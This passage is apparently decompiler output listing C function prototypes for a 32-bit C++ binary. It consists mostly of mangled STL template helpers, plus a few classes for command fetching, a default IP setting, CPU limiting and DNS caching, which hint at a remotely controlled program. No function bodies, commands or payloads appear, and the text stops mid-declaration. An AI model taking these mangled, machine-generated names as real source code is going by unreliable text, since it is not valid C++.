std__uninitialized_fill_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_gt_(int32_t * a1, int32_t * a2, char * a3); int32_t std____uninitialized_fill_n_a_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_comma__char_gt_(int32_t * a1, int32_t * a2, char * a3); int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt____M_fill_insert(struct struct_12 * a1, int32_t * a2, int32_t * a3, char * a4); int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___insert(struct struct_12 * a1, int32_t * a2, int32_t * a3, char * a4); int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___resize(int32_t ** a1, int32_t * a2, int32_t * a3); void std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___resize_70(int32_t ** a1, int32_t * a2); int32_t CCmdDoing__GetCmd(int32_t * a1, int32_t a2); int32_t CCmdDoing__Initialize(int32_t * a1); int32_t CConfigDoing___SetConf(char * a1); int32_t CConfigDoing__SetDefaultIp(int32_t ** a1, int32_t * a2); int32_t CConfigDoing__Initialize(int32_t * a1); int32_t CSerial_81(int32_t * a1); int32_t CCpuLimit_82(struct struct_13 * a1); int32_t CCpuLimit__Size(void); int32_t CConfig__InitSize(int32_t ** a1); int32_t CLoopCmd(struct struct_14 * a1); int32_t CLoopCmd_83(int32_t * a1); int32_t CSerial__operator_eq_(int32_t * a1); int32_t CSerial_84(int32_t * a1); int32_t CLoopCmd__operator_eq_(int32_t * a1, int32_t a2); int32_t CLoopCmd_86(struct struct_14 * a1, int32_t a2); int32_t CConfig__Size(int32_t ** a1); int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___end_87(int32_t * a1, int32_t a2); int32_t __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator__(int32_t * a1); int32_t std__allocator_lt_CFakeCustom_gt__88(int32_t a1, int32_t a2); int32_t std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt____Vector_impl_89(struct struct_3 * a1, int32_t a2); int32_t std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt__90(struct struct_6 * a1, int32_t a2); int32_t __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__91(int32_t a1); int32_t std__allocator_lt_CFakeCustom_gt__92(int32_t a1); int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt__93(struct struct_6 * a1, int32_t a2); int32_t CConfig_94(struct struct_17 * a1); int32_t __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(int32_t * a1); int32_t __gnu_cxx__operator_not__eq__lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std___Destroy_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma__std__allocator_lt_CFakeCustom_gt___gt_(int32_t * a1); int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95(int32_t ** a1, int32_t * a2, int32_t a3); int32_t __gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt___max_size(void); int32_t __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(int32_t * a1, struct struct_6 * a2); int32_t std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt____M_allocate(int32_t * a1, struct struct_6 * a2); int32_t std___Construct_lt_CFakeCustom_comma__CFakeCustom_gt_(int32_t * a1, struct struct_18 * a2); int32_t CDNSCache__GetFirstNumPos(char * a1); int32_t CDNSCache__GetIpsFromDomain(struct struct_3 * a1, struct struct_20 * a2, struct struct_3 * a3, int32_t a4, int32_t a5); int32_t CDNSCache__GetIpFromDomain(int32_t * a1, struct struct_20 * a2, struct struct_3 * a3); int32_t CDNSCache__Initialize(char * a1, int32_t a2); int32_t std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_not__eq_(int32_t * a1, int32_t * a2); int32_t std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator__gt_(int32_t * a1); void __gnu_cxx____mt_alloc_lt_unsigned_int_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void); int32_t std__allocator_lt_unsigned_int_gt_(int32_t result); int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_begin(int32_t * a1); int32_t __gnu_cxx____mt_alloc_base_lt_unsigned_int_gt___construct(int32_t * a1, int32_t * a2); int32_t __gnu_cxx____mt_alloc_base_lt_std__string_gt___construct(int32_t * a1, int32_t * a2); int32_t __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___operator_ptr_(int32_t * a1); int32_t std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_ptr_(int32_t * a1); int32_t std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_eq__eq_(int32_t * a1, int32_t * a2); int32_t __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_(int32_t * a1, int32_t * a2, int32_t * a3); int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___end_107(int32_t * a1, int32_t a2); int32_t __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__(int32_t * a1); void __gnu_cxx____mt_alloc_base_lt_unsigned_int_gt_(void); void __gnu_cxx____mt_alloc_base_lt_unsigned_int_gt___destroy(void); void __gnu_cxx____mt_alloc_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void); int32_t std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_(int32_t result); int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_right(int32_t * a1); int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_left(int32_t * a1); int32_t __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___begin(int32_t * a1, int32_t * a2); int32_t __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___operator_(int32_t * a1, int32_t * a2, int32_t * a3); int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___operator_lsb__rsb_(int32_t * a1, int32_t * a2); int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___end(int32_t * a1, int32_t * a2); int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___max_size(void); int32_t __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(int32_t * a1); int32_t __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___operator__(int32_t * a1); int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___max_size(void); int32_t __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(int32_t * a1); int32_t __gnu_cxx__operator_not__eq__lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std___Destroy_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__allocator_lt_std__string_gt___gt_(int32_t * a1); int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_end(int32_t * a1); int32_t std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_(int32_t ** a1, int32_t * a2); int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(int32_t ** a1, int32_t * a2); int32_t std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(int32_t ** a1, int32_t * a2); int32_t __gnu_cxx__operator_eq__eq__lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___empty(int32_t * a1); int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___capacity(int32_t * a1); int32_t __gnu_cxx____normal_iterator_lt_unsigned_int_const__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___begin_109(int32_t * a1, int32_t ** a2); int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___end_110(int32_t * a1, int32_t a2); int32_t __gnu_cxx____normal_iterator_lt_unsigned_int_const__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(int32_t * a1); int32_t __gnu_cxx__operator__lt_unsigned_int_const__ptr__comma__unsigned_int_const__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___size(int32_t * a1); int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___key_comp(int32_t result); int32_t std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___key_comp(int32_t result, int32_t * a2); int32_t __gnu_cxx____mt_alloc_lt_unsigned_int_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__111(int32_t a1); int32_t std__allocator_lt_unsigned_int_gt__112(int32_t a1, int32_t a2); int32_t std___Vector_base_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___get_allocator(int32_t result, int32_t * a2); int32_t CDNSCacheItem(struct struct_3 * a1); int32_t std__pair_lt_std__string_const_comma__CDNSCacheItem_gt_(struct struct_3 * a1); int32_t CDNSCacheItem_117(int32_t * a1); int32_t __gnu_cxx____mt_alloc_lt_unsigned_int_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2, int32_t * a3); int32_t std___Vector_base_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt____M_deallocate(int32_t * a1, int32_t * a2, int32_t * a3); void __gnu_cxx____mt_alloc_base_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_(void); int32_t __gnu_cxx____mt_alloc_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__120(int32_t a1); int32_t __gnu_cxx__operator_not__eq__lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std___Destroy_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma__std__allocator_lt_unsigned_int_gt___gt_(int32_t * a1); int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_value(int32_t * a1); int32_t std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_lb__rb_(int32_t a1); int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key(int32_t * a1); int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_value_122(int32_t a1); int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key_123(int32_t a1); int32_t _ZStltIcSt11char_traitsIcESaIcEEbRKSbIT_T0_T1_ES8_(int32_t * a1, int32_t a2); int32_t std__less_lt_std__string_gt___operator_lb__rb_(int32_t * a1, int32_t * a2); int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___find(int32_t ** a1, int32_t * a2, int32_t * a3); int32_t std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___find(int32_t ** a1, int32_t * a2, int32_t * a3); int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___lower_bound(int32_t * a1, int32_t * a2, int32_t * a3); int32_t std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___lower_bound(int32_t ** a1, int32_t * a2, int32_t * a3); int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_rightmost(int32_t * a1); int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___size(int32_t * a1); int32_t __gnu_cxx____mt_alloc_base_lt_std__string_gt___max_size(void); int32_t __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(int32_t * a1, struct struct_10 * a2); int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_allocate(int32_t * a1, struct struct_10 * a2); int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__124(struct struct_3 * a1, int32_t a2, int32_t a3); int32_t std____copy_lt_false_comma__std__random_access_iterator_tag_gt___copy_lt_std__string_const__ptr__comma__std__string__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3); void std____copy_aux_lt_std__string_const__ptr__comma__std__string__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3); int32_t std____copy_normal_lt_true_comma__true_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std__copy_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t ** a3, struct struct_3 * a4); int32_t std____copy_normal_lt_true_comma__false_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__gt_(int32_t * a1, int32_t * a2); int32_t std__copy_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__gt_(int32_t * a1, int32_t * a2, int32_t ** a3); int32_t __gnu_cxx__operator_not__eq__lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__(int32_t * a1); int32_t __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_(int32_t * a1); int32_t std___Construct_lt_std__string_comma__std__string_gt_(int32_t * a1, int32_t * a2); int32_t std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__130(int32_t a1); int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___get_allocator(int32_t result, int32_t * a2); int32_t __gnu_cxx____mt_alloc_base_lt_unsigned_int_gt___max_size(void); int32_t __gnu_cxx____mt_alloc_lt_unsigned_int_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(int32_t * a1, int32_t * a2); int32_t std___Vector_base_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt____M_allocate(int32_t * a1, int32_t * a2); int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___begin(int32_t ** a1, int32_t * a2); int32_t std__pair_lt_std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__bool_gt_(int32_t * a1, int32_t * a2, char * a3); int32_t std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator__(int32_t * a1); int32_t std____copy_backward_lt_true_comma__std__random_access_iterator_tag_gt___copy_b_lt_unsigned_int_gt_(int32_t * a1, int32_t * a2, int32_t * a3); void std____copy_backward_aux_lt_unsigned_int__ptr__comma__unsigned_int__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3); int32_t std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std__copy_backward_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4); int32_t std____copy_backward_lt_false_comma__std__random_access_iterator_tag_gt___copy_b_lt_std__string__ptr__comma__std__string__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3); void std____copy_backward_aux_lt_std__string__ptr__comma__std__string__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3); int32_t std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std__copy_backward_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4); int32_t std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator___133(int32_t * a1); int32_t std___Destroy_lt_std__string_gt_(int32_t a1); int32_t std____destroy_aux_lt_std__string__ptr__gt_(int32_t a1, int32_t result); int32_t std___Destroy_lt_std__string__ptr__gt_(int32_t a1, int32_t result, int32_t a3); int32_t std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__gt_(int32_t * a1); int32_t std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__gt_(int32_t * a1, int32_t * a2, struct struct_10 * a3); int32_t std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__comma__std__string_gt_(int32_t * a1, int32_t * a2, struct struct_10 * a3); int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_allocate_and_copy_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(int32_t * a1, struct struct_10 * a2, int32_t * a3, int32_t * a4); int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_eq_(struct struct_12 * a1, int32_t ** a2); int32_t CDNSCacheItem_134(int32_t * a1, int32_t ** a2); int32_t CDNSCacheItem__operator_eq_(int32_t * a1, int32_t * a2); int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__135(struct struct_20 * a1, int32_t ** a2); int32_t CDNSCacheItem_136(int32_t * a1, int32_t * a2); int32_t std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__137(struct struct_3 * a1, int32_t a2, int32_t a3); int32_t std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__138(struct struct_3 * a1, int32_t a2); int32_t __gnu_cxx____mt_alloc_base_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___construct(int32_t a1, int32_t * a2); int32_t std____destroy_aux_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(void); int32_t std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2); int32_t std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, struct struct_10 * a3, int32_t * a4); int32_t std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string_gt_(int32_t ** a1, int32_t * a2, struct struct_10 * a3, int32_t * a4); int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_insert_aux(struct struct_12 * a1, int32_t * a2, int32_t * a3); int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___push_back(int32_t * a1, int32_t * a2); int32_t __gnu_cxx____mt_alloc_base_lt_std___Rb_tree_node_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___max_size(void); int32_t __gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(int32_t * a1, uint32_t a2); int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_get_node(int32_t * a1); int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_create_node(int32_t * a1, int32_t * a2); int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_insert(int32_t * a1, int32_t * a2, int32_t * a3, int32_t * a4, int32_t * a5); int32_t 